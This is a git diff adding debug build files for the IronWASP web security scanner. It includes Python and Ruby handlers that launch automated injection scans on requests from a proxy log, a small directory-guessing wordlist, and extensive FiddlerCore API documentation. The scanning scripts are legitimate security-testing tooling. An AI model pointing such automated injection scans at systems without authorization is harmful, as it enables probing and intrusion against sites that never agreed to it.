Function calls available in the Class. + Members of the Enum class. + \ No newline at end of file diff --git a/Iron/bin/Debug/Antlr3.Runtime.dll b/Iron/bin/Debug/Antlr3.Runtime.dll new file mode 100644 index 0000000..fb3ac4e Binary files /dev/null and b/Iron/bin/Debug/Antlr3.Runtime.dll differ diff --git a/Iron/bin/Debug/ApiScript.py b/Iron/bin/Debug/ApiScript.py new file mode 100644 index 0000000..ad2db9a --- /dev/null +++ b/Iron/bin/Debug/ApiScript.py @@ -0,0 +1,29 @@ +from IronWASP import * + +def start_log_range(req, res): + GlobalStore.Put("log_start_py_api", Config.LastProxyLogId + 1) + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/log_range_start", start_log_range) + +def end_log_range(req, res): + GlobalStore.Put("log_end_py_api", Config.LastProxyLogId) + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/log_range_end", end_log_range) + +def scan_log_range(req, res): + start_id = GlobalStore.Get("log_start_py_api") + end_id = GlobalStore.Get("log_end_py_api") + for i in range(start_id, end_id + 1): + r = Request.FromProxyLog(i) + s = Scanner(r) + if r.Query.Count > 0 or r.Body.Count > 0: + s.InjectQuery() + s.InjectBody() + s.CheckAll() + s.LaunchScan() + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/scan_log_range", scan_log_range) + diff --git a/Iron/bin/Debug/ApiScript.rb b/Iron/bin/Debug/ApiScript.rb new file mode 100644 index 0000000..bbdea0d --- /dev/null +++ b/Iron/bin/Debug/ApiScript.rb @@ -0,0 +1,36 @@ +include IronWASP + +def start_log_range(req, res) + GlobalStore.put("log_start_rb_api", Config.last_proxy_log_id + 1) + res.body_string = "OK" +end + +start_log_range_l = lambda{|req, res| start_log_range(req, res)} +ApiCallHandler.add_handler("/rb/log_range_start", start_log_range_l) + +def end_log_range(req, res) + GlobalStore.put("log_end_rb_api", Config.last_proxy_log_id) + res.body_string = "OK" +end + +end_log_range_l = lambda{|req, res| end_log_range(req, res)} +ApiCallHandler.add_handler("/rb/log_range_end", end_log_range_l) + +def scan_log_range(req, res) + start_id = GlobalStore.get("log_start_rb_api") + end_id = GlobalStore.get("log_end_rb_api") + (start_id..end_id).each do |i| + r = Request.from_proxy_log(i) + s = Scanner.new(r) + if r.query.count > 0 or r.body.count > 0 + s.inject_query + s.inject_body + s.check_all + s.launch_scan + end + end + res.body_string = "OK" +end + +scan_log_range_l = lambda{|req, res| scan_log_range(req, res)} +ApiCallHandler.add_handler("/rb/scan_log_range", scan_log_range_l) diff --git a/Iron/bin/Debug/Be.Windows.Forms.HexBox.dll b/Iron/bin/Debug/Be.Windows.Forms.HexBox.dll new file mode 100644 index 0000000..318d8b8 Binary files /dev/null and b/Iron/bin/Debug/Be.Windows.Forms.HexBox.dll differ diff --git a/Iron/bin/Debug/COPYRIGHT.txt b/Iron/bin/Debug/COPYRIGHT.txt new file mode 100644 index 0000000..86b4e49 --- /dev/null +++ b/Iron/bin/Debug/COPYRIGHT.txt @@ -0,0 +1,13 @@ +Copyright 2011-2012 Lavakumar Kuppan + +IronWASP is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 3 of the License. + +IronWASP is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IronWASP. If not, see . diff --git a/Iron/bin/Debug/CssFx.dll b/Iron/bin/Debug/CssFx.dll new file mode 100644 index 0000000..5547e65 Binary files /dev/null and b/Iron/bin/Debug/CssFx.dll differ diff --git a/Iron/bin/Debug/DemoApp.exe b/Iron/bin/Debug/DemoApp.exe new file mode 100644 index 0000000..ba64204 Binary files /dev/null and b/Iron/bin/Debug/DemoApp.exe differ diff --git a/Iron/bin/Debug/Diff.dll b/Iron/bin/Debug/Diff.dll new file mode 100644 index 0000000..e053e15 Binary files /dev/null and b/Iron/bin/Debug/Diff.dll differ diff --git a/Iron/bin/Debug/DiffPlex.dll b/Iron/bin/Debug/DiffPlex.dll new file mode 100644 index 0000000..8770b63 Binary files /dev/null and b/Iron/bin/Debug/DiffPlex.dll differ diff --git a/Iron/bin/Debug/DirNamesDictionary.txt b/Iron/bin/Debug/DirNamesDictionary.txt new file mode 100644 index 0000000..50ed994 --- /dev/null +++ b/Iron/bin/Debug/DirNamesDictionary.txt @@ -0,0 +1,2 @@ +admin +uploads diff --git a/Iron/bin/Debug/FiddlerCore.dll b/Iron/bin/Debug/FiddlerCore.dll new file mode 100644 index 0000000..4e3b2f5 Binary files /dev/null and b/Iron/bin/Debug/FiddlerCore.dll differ diff --git a/Iron/bin/Debug/FiddlerCore.xml b/Iron/bin/Debug/FiddlerCore.xml new file mode 100644 index 0000000..a2f15ff --- /dev/null +++ b/Iron/bin/Debug/FiddlerCore.xml @@ -0,0 +1,6612 @@ + + + + FiddlerCore + + + + + Wrapper for WinINET cache APIs. + + + + + Clear all HTTP Cookies from the WinINET Cache + + + + + Clear all files from the WinINET Cache + + + + + Delete all permanent WinINET cookies for sHost; won't clear memory-only session cookies. Supports hostnames with an optional leading wildcard, e.g. *example.com. NOTE: Will not work on VistaIE Protected Mode cookies. + + The hostname whose cookies should be cleared + + + + Clear the Cache items. Note: May be synchronous, may be asynchronous. + + TRUE if cache files should be cleared + TRUE if cookies should be cleared + + + + For PInvoke: Contains information about an entry in the Internet cache + + + + + Wrapper for WinINET proxy configuration APIs + + + + + Hostnames of sites to bypass proxy. <local> is common. + + + + + Allow direct connection to host + + + + + Attempt WPAD autoproxy detection + + + + + Ignore WinINET "no autoproxy unticks box" optimization + + + + + Use user-supplied URL to get FindProxyForURL script + + + + + Use user-supplied manual/fixed proxy address list + + + + + WPAD script url that may be used if _bUseScript true + + + + + Gathers proxy information from a named connection. + + Pass DefaultLAN to look for the "null" connection + Proxy info, or null + + + + Get a string describing the proxy settings + + Returns a multi-line string representing the proxy settings + + + + Calculate a string suitable for passing into WinINET APIs. + + Returns a string containing proxy information, or NULL. NB: I've seen WinINET blow up when passed String.Empty rather than null. + + + + + Given a proxy string, we crack out the proxy gateways for each protocol + + e.g. HTTP=itgproxy:80;FTP=ftpprox:21; + false on error + + + + Fills this WinINETProxyInfo instance with settings from specified WinINET connection. + + Name of the connection. Pass NULL for LAN connection. + TRUE if the settings were successfully retrieved. + + + + Sets WinINET proxy settings for specified connection to those specified in this WinINETProxy instance. + + Name of the connection. Pass NULL for LAN connection. + + + + Semi-colon delimited list of hostnames that should bypass the fixed proxy + + + + + TRUE if manually-specified proxy should be used. + + + + + TRUE if a direct HTTP connection may be made if AutoProxy/PAC is unreachable or corrupt + + + + + True if the proxy should be bypassed for dotless hostnames. + NOTE: Simply looks at the bypassList string to see if it contains a LOCAL rule. + + + + + String representing the endpoint of the proxy for HTTP-traffic, if configured + + + + + String representing the endpoint of the proxy for HTTPS-traffic, if configured + + + + + String representing the endpoint of the proxy for FTP-traffic, if configured + + + + + String representing the endpoint of the proxy for SOCKS-traffic, if configured + + + + + Bool indicating whether this connection is set to autodetect the proxy + + + + + Returns a string pointing to the ProxyAutoConfig script, or null if there is no such URL or it is not enabled + + + + + Provides simple utility functions common to both ClientHello and ServerHello parsing + + + + + Gets a textual string from a TLS extension + + + + + Builds a string from an ALPN List of strings + + + + + List defined ECC Curves from RFC4492 + + + + + + + List defined ECC Point Formats from RFC4492 + + + + + + + Converts a HTTPS version to a "Major.Minor (Friendly)" string + + + + + The HTTPSClientHello class is used to parse the bytes of a HTTPS ClientHello message. + + + + + Map cipher id numbers to names. See http://www.iana.org/assignments/tls-parameters/ + Format is PROTOCOL_KEYAGREEMENT_AUTHENTICATIONMECHANISM_CIPHER_MACPRIMITIVE + + + + + Parse a single extension using the list from http://tools.ietf.org/html/rfc6066 + http://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xml + https://src.chromium.org/viewvc/chrome/trunk/src/net/third_party/nss/ssl/sslt.h + + + + + + + Parse a single extension using the list from http://tools.ietf.org/html/rfc6066 + + + + + + + Did client use ALPN to go to SPDY? + http://tools.ietf.org/html/draft-ietf-tls-applayerprotoneg-01#section-3.1 + + + + + Did this ServerHello Handshake specify an upgrade to SPDY? + + + + + The Session object manages the complete HTTP session including the UI listitem, the ServerChatter, and the ClientChatter. + + + + + Should we try to use the SPNToken type? + Cached for performance reasons. + ISSUE: It's technically possible to use FiddlerCorev2/v3 on .NET/4.5 but we won't set this field if you do that. + + + + + Sorta hacky, we may use a .NET WebRequest object to generate a valid NTLM/Kerberos response if the server + demands authentication and the Session is configured to automatically respond. + + + + + Used if the Session is bound to a WebSocket or CONNECTTunnel + + + + + DO NOT USE. TEMPORARY WHILE REFACTORING VISIBILITY OF MEMBERS + + + + + + + Sets or unsets the specified SessionFlag(s) + + SessionFlags + Desired set value + + + + Test the session's BitFlags + + One or more (OR'd) SessionFlags + TRUE if specified flag(s) are set + + + + Test the session's BitFlags + + One or more (OR'd) SessionFlags + TRUE if any of specified flag(s) are set + + + + Should response be buffered for tampering + + + + + Timers stored as this Session progresses + + + + + Field is set to False if socket is poisoned due to HTTP errors. + + + + + Object representing the HTTP Response. + + + + + Object representing the HTTP Request. + + + + + Fiddler-internal flags set on the Session. + + TODO: ARCH: This shouldn't be exposed directly; it should be wrapped by a ReaderWriterLockSlim to prevent + exceptions while enumerating the flags for storage, etc + + + + Contains the bytes of the request body. + + + + + Contains the bytes of the response body. + + + + + IP Address of the client for this session. + + + + + Client port attached to Fiddler. + + + + + IP Address of the server for this session. + + + + + Event object used for pausing and resuming the thread servicing this session + + + + + Returns TRUE if the Session's HTTP Method is available and matches the target method. + + The target HTTP Method being compared. + true, if the method is specified and matches sTestFor (case-insensitive); otherwise false. + + + + Returns TRUE if the Session's target hostname (no port) matches sTestHost (case-insensitively). + + The host to which this session's host should be compared. + True if this session is targeted to the specified host. + + + + Replaces any characters in a filename that are unsafe with safe equivalents, and trim to 160 characters. + + + + + + + Notify extensions if this Session naturally led to another (e.g. due to redirect chasing or Automatic Authentication) + + The original session (typically == this, but maybe not in multiple-hops?) + The new session created + + + + Returns HTML representing the session. Call Utilities.StringToCF_HTML on the result of this function before placing it on the clipboard. + + TRUE if only the headers should be copied. + A HTML-formatted fragment representing the current session. + + + + Store this session's request and response to a string. + + If true, return only the request and response headers + String representing this session + + + + Store this session's request and response to a string. + + A string containing the content of the request and response. + + + + This private method pauses the Session's thread to allow breakpoint debugging + + + + + This method resumes the Session's thread in response to "Continue" commands from the UI + + + + + Set the SessionFlags.Ignore bit for this Session, also configuring it to stream, drop read data, and bypass event handlers. + + + + + Called by an AcceptConnection-spawned background thread, create a new session object from a client socket and execute the session + + Parameter object defining client socket and endpoint's HTTPS certificate, if present + + + + Call this method to AuthenticateAsServer on the client pipe. If configured, the pipe will first sniff the request + for the SubjectCN expected, which might be advertised in the TLS ServerNameIndicator extension. + + The default certificate to use + TRUE if a HTTPS handshake was achieved; FALSE for any exceptions or other errors. + + + + Call this function while in the "reading response" state to update the responseBodyBytes array with + the partially read response. + + TRUE if the peek succeeded; FALSE if not in the ReadingResponse state + + + + Prevents the server pipe from this session from being pooled for reuse + + + + + Ensures that, after the response is complete, the client socket is closed and not reused. + Does NOT (and must not) close the pipe. + + + + + Immediately close client and server sockets. Call in the event of errors-- doesn't queue server pipes for future reuse. + + + + + + Closes both client and server pipes and moves state to Aborted; unpauses thread if paused. + + + + + Save HTTP response body to Fiddler Captures folder. You likely want to call utilDecodeResponse first. + + True if the response body was successfully saved + + + + Save HTTP response body to specified location. You likely want to call utilDecodeResponse first. + + The name of the file to which the response body should be saved. + True if the file was successfully written. + + + + Save the request body to a file. You likely want to call utilDecodeRequest first. + + The name of the file to which the request body should be saved. + True if the file was successfully written. + + + + Save the request and response to a single file. + + The filename to which the session should be saved. + TRUE if only the headers should be written. + + + + Save the request to a file; the headers' Request Line will not contain the scheme or host + + The name of the file to which the request should be saved. + TRUE to save only the headers + + + + Save the request to a file + + The name of the file to which the request should be saved. + TRUE to save only the headers. + TRUE to include the Scheme and Host in the Request Line. + + + + Read metadata about this session from a stream. NB: Closes the Stream when done. + + The stream of XML text from which session metadata will be loaded. + True if the Metadata was successfully loaded; False if any exceptions were trapped. + + + + Writes this session's metadata to a file. + + The name of the file to which the metadata should be saved in XML format. + True if the file was successfully written. + + + + Saves the response (headers and body) to a file + + The File to write + TRUE if only heaers should be written + + + + Write the metadata about this Session to a stream. The Stream is left open! + + The Stream to write to + + + + Write the session's Request to the specified stream + + TRUE if only the headers should be be written + TRUE if the Scheme and Host should be written in the Request Line + The Stream to which the request should be written + True if the request was written to the stream. False if the request headers do not exist. Throws on other stream errors. + + + + Write the session's Request to the specified stream + + TRUE if only the headers should be be written + TRUE if the Scheme and Host should be written in the Request Line + TRUE if binary bodies should be encoded in base64 for text-safe transport (e.g. used by Composer drag/drop) + The Stream to which the request should be written + True if the request was written to the stream. False if the request headers do not exist. Throws on other stream errors. + + + + Write the session's Response to the specified stream + + The stream to which the response should be written + TRUE if only the headers should be written + TRUE if the response was written to the stream. False if the response headers do not exist. Throws on other stream errors. + + + + Write the session to the specified stream + + The stream to which the session should be written + TRUE if only the request and response headers should be written + False on any exceptions; True otherwise + + + + Replace HTTP request headers and body using the specified file. + + The file containing the request + True if the file was successfully loaded as the request body + + + + Replace HTTP response headers and body using the specified stream. + + The stream containing the response. + True if the Stream was successfully loaded. + + + + Replace HTTP response headers and body using the specified file. + + The file containing the response. + True if the file was successfully loaded. + + + + Return a string generated from the request body, decoding it and converting from a codepage if needed. Throws on errors. + + A string containing the request body. + + + + Return a string generated from the response body, decoding it and converting from a codepage if needed. Throws on errors. + + A string containing the response body. + + + + Find the text encoding of the request + WARNING: Will not decompress body to scan for indications of the character set + + Returns the Encoding of the requestBodyBytes + + + + Find the text encoding of the response + WARNING: Will not decompress body to scan for indications of the character set + + The Encoding of the responseBodyBytes + + + + Returns true if the absolute request URI contains the specified string. Case-insensitive. + + Case-insensitive string to find + TRUE if the URI contains the string + + + + Removes chunking and HTTP Compression from the Response. Adds or updates Content-Length header. + + Returns TRUE if the response was decoded; returns FALSE on failure, or if response didn't have headers that showed encoding. + + + + Removes chunking and HTTP Compression from the Response. Adds or updates Content-Length header. + + TRUE if error messages should be suppressed. False otherwise. + TRUE if the decoding was successsful. + + + + Removes chunking and HTTP Compression from the Request. Adds or updates Content-Length header. + + Returns TRUE if the request was decoded; returns FALSE on failure, or if request didn't have headers that showed encoding. + + + + Use GZIP to compress the request body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use GZIP to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use DEFLATE to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use BZIP2 to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Introduces HTTP Chunked encoding on the response body + + The number of chunks to try to create + TRUE if the chunking could be performed. + + + + Perform a string replacement on the request body. Adjusts the Content-Length header if needed. + + The case-sensitive string to search for. + The text to replace. + TRUE if one or more replacements occurred. + + + + Call inside OnBeforeRequest to create a response object and bypass the server. + + + + + Perform a regex-based string replacement on the response body. Adjusts the Content-Length header if needed. + + The regular expression used to search the body. Specify RegEx Options via leading Inline Flags, e.g. (?im) for case-Insensitive Multi-line. + The text or expression used to replace + TRUE if replacements occured + + + + Perform a string replacement on the response body (potentially multiple times). Adjust the Content-Length header if needed. + + String to find (case-sensitive) + String to use to replace + TRUE if replacements occurred + + + + Perform a one-time string replacement on the response body. Adjust the Content-Length header if needed. + + String to find (case-sensitive) + String to use to replace + TRUE for Case-Sensitive + TRUE if a replacement occurred + + + + Replaces the request body with sString as UTF8. Sets Content-Length header and removes Transfer-Encoding/Content-Encoding. + + The desired request Body as a string + + + + Replaces the response body with sString. Sets Content-Length header and removes Transfer-Encoding/Content-Encoding + + The desired response Body as a string + + + + Add a string to the top of the response body, updating Content-Length. (Call utilDecodeResponse first!) + + The string to prepend + + + + Find a string in the request body. Return its index, or -1. + + Term to search for + Require case-sensitive match? + Location of sSearchFor,or -1 + + + + Find a string in the response body. Return its index, or -1. + + Term to search for + Require case-sensitive match? + Location of sSearchFor,or -1 + + + + Reset the SessionID counter to 0. This method can lead to confusing UI, so use sparingly. + + + + + Create a session object from two byte[] representing request and response. + + The client data bytes + The server data bytes + + + + Create a Session object from a (serializable) SessionData object + + + + + + Create a session object from two byte[] representing request and response. This is used when loading a Session Archive Zip. + + The client data bytes + The server data bytes + SessionFlags for this session + + + + Creates a new session and attaches it to the pipes passed as arguments + + The client pipe from which the request is read and to which the response is written. + The server pipe to which the request is sent and from which the response is read. May be null. + + + + Initialize a new session from a given request headers and body request builder data. Note: No Session ID is assigned here. + + NB: If you're copying an existing request, use oRequestHeaders.Clone() + The bytes of the request's body + + + + Factory constructor + + + + + + + + + + + + THREADHACK: + TODO: Use an I/O Completion Port to wait for traffic on the client socket without blocking a threadpool thread + + + + + Called when the Session is ready to begin processing. Eats exceptions to prevent unhandled exceptions on background threads from killing the application. + + Unused parameter (required by ThreadPool) + + + + InnerExecute() implements Fiddler's HTTP Pipeline + + + + + May this Session be resent on a different connection because reading of the response did not succeed? + + TRUE if the entire session may be resent on a new connection + + + + If the response demands credentials and the Session is configured to have Fiddler provide those + credentials, try to do so now. + + TRUE if Fiddler has generated a response to an Auth challenge; FALSE otherwise. + + + + This method will perform obtain authentication credentials from System.NET using a reflection trick to grab the internal value. + It's needed to cope with CBT. + + This MUST live within its own non-inlined method such that when it's run on an outdated version of the .NET Framework, the outdated + version of the target object triggers a TypeLoadException in such a way that the caller can catch it and warn the user without + killing Fiddler.exe. + + + + + + Copies process-owner information from a source session to a destination session. Used during handling of AutoRedirects + and auto-Authentications + + + + + + Returns a Kerberos-usable SPN for the target + http://dev.chromium.org/developers/design-documents/http-authentication + "HttpAuthHandlerNegotiate::CreateSPN" + http://blog.michelbarneveld.nl/michel/archive/2009/11/14/the-reason-why-kb911149-and-kb908209-are-not-the-soluton.aspx + + + + + + + Returns the fully-qualified URL to which this Session's response points, or null. + This method is needed because many servers (illegally) return a relative url in HTTP/3xx Location response headers. + + null, or Target URL. Note, you may want to call Utilities.TrimAfter(sTarget, '#'); on the response + + + + Gets a redirect-target from a base URI and a Location header + + + + null, or Target URL. Note, you may want to call Utilities.TrimAfter(sTarget, '#'); + + + + Fiddler can only auto-follow redirects to HTTP/HTTPS/FTP. + + The BASE URL to which a relative redirection should be applied + Response "Location" header + TRUE if the auto-redirect target is allowed + + + + Handles a Response's Redirect if the Session is configured to do so. + + TRUE if a redirect was handled, FALSE otherwise + + + + Check for common mistakes in HTTP Responses and notify the user if they are found. Called only if Linting is enabled. + + + + + Assign a Session ID. Called by ClientChatter when headers are available + + + + + Called only by InnerExecute, this method reads a request from the client and performs tampering/manipulation on it. + + TRUE if there's a Request object and we should continue processing. FALSE if reading the request failed + *OR* if script or an extension changed the session's State to DONE or ABORTED. + + + + + Returns TRUE if response is a NTLM or NEGO challenge + + True for HTTP/401,407 with NEGO or NTLM demand + + + + Returns TRUE if response is a Digest, NTLM, or Nego challenge + + True for HTTP/401,407 with Digest, NEGO, NTLM demand + + + + Replace the "ipv*.fiddler "fake" hostnames with the IP-literal equvalents. + + + + + Determines if request host is pointing directly at Fiddler. + + + + + + Echo the client's request back as a HTTP Response, encoding to prevent XSS. + + + + + Send a Proxy Configuration script back to the client. + + + + + Send a Proxy Configuration script back to WinHTTP, so that Fiddler can use an upstream proxy specified + by a script on a fileshare. (WinHTTP only allows HTTP/HTTPS-hosted script files) + + + + + Send the Fiddler Root certificate back to the client + + + + + This method indicates to the client that a secure tunnel was created, + without actually talking to an upstream server. + + If Fiddler's AutoResponder is enabled, and that autoresponder denies passthrough, + then Fiddler itself will always indicate "200 Connection Established" and wait for + another request from the client. That subsequent request can then potentially be + handled by the AutoResponder engine. + + BUG BUG: This occurs even if Fiddler isn't configured for HTTPS Decryption + + + The hostname to use in the Certificate returned to the client + + + + This method adds a Proxy-Support: Session-Based-Authentication header and indicates whether the response is Nego:Type2. + + Returns TRUE if server returned a credible Type2 NTLM Message + + + + This helper evaluates the conditions for client socket reuse. + + + + + + Sends the Response that Fiddler received from the server back to the client socket. + + Should the client and server pipes be tightly-bound together? + True, if the response was successfully sent to the client + + + + Sets up the next Session on these pipes, binding this Session's pipes to that new Session, as appropriate. When this method is called, + the nextSession variable is populated with the new Session, and that object is executed at the appropriate time. + + TRUE if both the client and server pipes should be bound regardless of the serverPipe's ReusePolicy + + + + Refresh the UI elements for the session. + + Use TRUE to call Invoke, use FALSE to call BeginInvoke. + + + + Bitflags of commonly-queried session attributes + + + + + Returns True if this is a HTTP CONNECT tunnel. + + + + + A common use for the Tag property is to store data that is closely associated with the Session. + It is NOT marshalled during drag/drop and is NOT serialized to a SAZ file. + + + + + This event fires at any time the session's State changes. Use with caution due to the potential for performance impact. + + + + + This event fires if this Session automatically yields a new one, for instance, if Fiddler is configured to automatically + follow redirects or perform multi-leg authentication (X-AutoAuth). + + + + + If this session is a Tunnel, and the tunnel's IsOpen property is TRUE, returns TRUE. Otherwise returns FALSE. + + + + + If this session is a Tunnel, returns number of bytes sent from the Server to the Client + + + + + If this session is a Tunnel, returns number of bytes sent from the Client to the Server + + + + + Gets or Sets the HTTP Request body bytes. + Setter adjusts Content-Length header, and removes Transfer-Encoding and Content-Encoding headers. + Setter DOES NOT CLONE the passsed array. + Setter will throw if the Request object does not exist for some reason. + Use utilSetRequestBody(sStr) to ensure proper character encoding if you need to use a string. + + + + + Gets or Sets the HTTP Response body bytes. + Setter adjusts Content-Length header, and removes Transfer-Encoding and Content-Encoding headers. + Setter DOES NOT CLONE the passsed array. + Setter will throw if the Response object has not yet been created. (See utilCreateResponseAndBypassServer) + Use utilSetResponseBody(sStr) to ensure proper character encoding if you need to use a string. + + + + + When true, this session was conducted using the HTTPS protocol. + + + + + When true, this session was conducted using the FTP protocol. + + + + + Get the process ID of the application which made this request, or 0 if it cannot be determined. + + + + + Gets a path-less filename suitable for saving the Response entity. Uses Content-Disposition if available. + + + + + Set to true in OnBeforeRequest if this request should bypass the gateway + + + + + Returns the port used by the client to communicate to Fiddler. + + + + + State of session. Note Side-Effects: If setting to .Aborted, calls FinishUISession. If setting to/from a Tamper state, calls RefreshMyInspectors + + + + + Returns the path and query part of the URL. (For a CONNECT request, returns the host:port to be connected.) + + + + + Retrieves the complete URI, including protocol/scheme, in the form http://www.host.com/filepath?query. + Or sets the complete URI, adjusting the UriScheme and/or Host. + + + + + Gets or sets the URL (without protocol) being requested from the server, in the form www.host.com/filepath?query. + + + + + DNS Name of the host server targeted by this request. May include IPv6 literal brackets. NB: a port# may be included. + + + + + DNS Name of the host server (no port) targeted by this request. Will include IPv6-literal brackets for IPv6-literal addresses + + + + + Returns the server port to which this request is targeted. + + + + + Returns the sequential number of this session. Note, by default numbering is restarted at zero when the session list is cleared. + + + + + Returns the Address used by the client to communicate to Fiddler. + + + + + Gets or Sets the HTTP Status code of the server's response + + + + + Checks whether this is a WebSocket, and if so, whether it has logged any parsed messages. + + + + + Returns TRUE if this session's State > ReadingResponse, and oResponse, oResponse.headers, and responseBodyBytes are all non-null. Note that + bHasResponse returns FALSE if the session is currently reading, even if a body was copied using the COMETPeek feature + + + + + Indexer property into SESSION flags, REQUEST headers, and RESPONSE headers. e.g. oSession["Request", "Host"] returns string value for the Request host header. If null, returns String.Empty + + SESSION, REQUEST or RESPONSE + The name of the flag or header + String value or String.Empty + + + + Simple indexer into the Session's oFlags object; returns null if flag is not present. + + + Returns the string value if the specified flag is present, or null if it is not. + + + + + This object holds Session information as a set of four easily-marshalled byte arrays. + It is serializable, which enables cross-process transfer of this data (as in a drag/drop operation). + (Internally, data is serialized as if it were being stored in a SAZ file) + + + + + Create a SessionData object. + Note: Method must run as cheaply as possible, since it runs on all Drag/Dropped sessions within Fiddler itself. + + + + + + Parameters passed into the AcceptConnection method. + + + + + The Socket which represents the newly-accepted Connection + + + + + The Certificate to pass to SecureClientPipeDirect immediately after accepting the connection. + Normally null, this will be set if the proxy endpoint is configured as a "Secure" endpoint + by AssignEndpointCertificate / ActAsHTTPSEndpointForHostname. + + + + + The DateTime of Creation of this connection + + + + + Unknown + + + + + The new Session is needed to respond to an Authentication Challenge + + + + + The new Session is needed to follow a Redirection + + + + + The new Session is needed to generate a CONNECT tunnel + + + + + Event arguments constructed for the OnStateChanged event raised when a Session's state property changed + + + + + The prior state of this session + + + + + The new state of this session + + + + + Constructor for the change in state + + The old state + The new state + + + + This class holds a specialized memory stream with growth characteristics more suitable for reading from a HTTP Stream. + The default MemoryStream's Capacity will always grow to 256 bytes, then at least ~2x current capacity up to 1gb, then to the exact length after that. + That has two problems: + + The capacity may unnecessarily grow to >85kb, putting the object on the LargeObjectHeap even if we didn't really need 85kb. + After the capacity reaches 1gb in length, the capacity growth never exceeds the length, leading to huge reallocations and copies on every write. + + TODO: In some cases, the client could "hint" what the proper capacity ultimately needs to be by adding the Header size in bytes to the Content-Length specified size. + + + + + Used by the caller to supply a hint on the expected total size of reads from the pipe. + We cannot blindly trust this value because sometimes the client or server will lie and provide a + huge value that it will never use. This is common for RPC-over-HTTPS tunnels like that used by Outlook, for instance. + + Suggested total buffer size in bytes + + + + Interface for the WebSocket and CONNECT Tunnel classes + + + + + The CONNECTTunnel class represents a "blind tunnel" through which a CONNECT request is serviced to shuffle bytes between a client and the server. + + + See pg 206 in HTTP: The Complete Reference for details on how Tunnels work. + When HTTPS Decryption is disabled, Fiddler accepts a CONNECT request from the client. Then, we open a connection to the remote server. + We shuttle bytes back and forth between the client and the server in this tunnel, keeping Fiddler itself out of the loop + (no tampering, etc). + + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + TRUE if this is a Blind tunnel, FALSE if decrypting + + + + + This "Factory" method creates a new HTTPS Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a HTTPS tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + Client Pipe + Server Pipe + + + + This function keeps the thread alive until it is signaled that the traffic is complete + + + + + Executes the HTTPS tunnel inside an All-it-can-eat exception handler. + Call from a background thread. + + + + + Close the HTTPS tunnel and signal the event to let the service thread die. + WARNING: This MUST not be allowed to throw any exceptions, because it will do so on threads that don't catch them, and this will kill the application. + + + + + Called when we have received data from the local client. + Incoming data will immediately be forwarded to the remote host. + + The result of the asynchronous operation. + + + Called when we have sent data to the local client.
    When all the data has been sent, we will start receiving again from the remote host.
    + The result of the asynchronous operation. +
    + + Called when we have sent data to the remote host.
    When all the data has been sent, we will start receiving again from the local client.
    + The result of the asynchronous operation. +
    + + Called when we have received data from the remote host.
    Incoming data will immediately be forwarded to the local client.
    + The result of the asynchronous operation. +
    + + + Returns number of bytes sent from the Server to the Client + + + + + Returns number of bytes sent from the Client to the Server + + + + + Common functions we'll want to use on Strings. Fiddler makes extensive use of strings which + should be interpreted in a case-insensitive manner. + + + + + Holds a variety of useful functions used in Fiddler and its addons. + + + + + Ensures a value is within a specified range. + + Type of the value + Current value + Min value + Max value + Returns the provided value, unless it is outside of the specified range, in which case the nearest "fencepost" is returned. + + + + A static byte array containing 0 elements. Use to avoid having many copies of an empty byte[] floating around. + + + + + Queries the user for a filename + + Dialog title + String representing file dialog filter + Filename or null + + + + Queries the user for a filename + + Dialog title + String representing file dialog filter + Initial directory or null + Filename or null + + + + Queries the user for an OPEN filename + + Dialog title + String representing file dialog filter (e.g. "All files (*.*)|*.*") + Filename or null + + + + Queries the user for an OPEN filename + + Dialog title + String representing file dialog filter + Initial directory or null + Filename or null + + + + Check to see that the target assembly defines a RequiredVersionAttribute and that the current Fiddler instance meets that requirement + + The assembly to test + The "type" of extension for display in error message + TRUE if the assembly includes a requirement and Fiddler meets it. + + + + Typically, a version number is displayed as "major number.minor number.build number.private part number". + + Version required + Version of the binary being tested + Returns 0 if exact match, else greater than 0 if Required version greater than verTest + + + + Shrinks a path string to fit within a certain number of characters, replacing segments with ellipses if needed. + + The Path to compact + Number of characters to shrink to + The compacted string, or the original string if compaction wasn't needed or failed + + + + Convert a full path into one that uses environment variables + + e.g. C:\windows\system32\foo.dll + %WINDIR%\System32\foo.dll + + + + Address the problem where the target "PATH" calls for a directoryname is already a filename + + + + + + + Ensure that the target file does not yet exist. If it does, generates a new filename with an embedded identifier, e.g. out[1].txt instead. + Attempts to ensure filename is creatable; e.g. if a path component needs to be a directory but is a file already, injects [#] into that + path component. + + Candidate filename + New filename which does not yet exist + + + + Ensure that the target path exists and if a file exists there, it is not readonly or hidden. + WARNING: Can throw if target "Filename" calls for a parent directoryname that is already used as a filename by a non-directory. + E.g. EnsureOverwriteable(C:\io.sys\filename.txt); would throw. + + The candidate filename + + + + Writes arrBytes to a file, creating the target directory and overwriting if the file exists. + + Path to File to write. + Bytes to write. + + + + Fills an array completely using the provided stream. Unlike a normal .Read(), this one will always fully fill the array unless the Stream throws. + + The stream from which to read. + The byte array into which the data should be stored. + The count of bytes read. + + + + Create a new byte[] containing the contents of two other byte arrays. + + + + + + + + Returns the Value from a (case-insensitive) token in the header string. Correctly handles double-quoted strings. Allows comma and semicolon as delimiter + + Name of the header + Name of the token + Value of the token if present; otherwise, null + + + + Ensures that the target string is iMaxLength or fewer characters + + The string to trim from + The maximum number of characters to return + Up to iMaxLength characters from the "Head" of the string. + + + + Ensures that the target string is iMaxLength or fewer characters, appending ... if truncation occurred + + The string to trim from + The maximum number of characters to return + The string, or up to iMaxLength-1 characters from the "Head" of the string, with \u2026 appeneded. + + + + Returns the "Head" of a string, before and not including a specified search string. + + The string to trim from + The delimiting string at which the trim should end. + Part of a string up to (but not including) sDelim, or the full string if sDelim was not found. + + + + 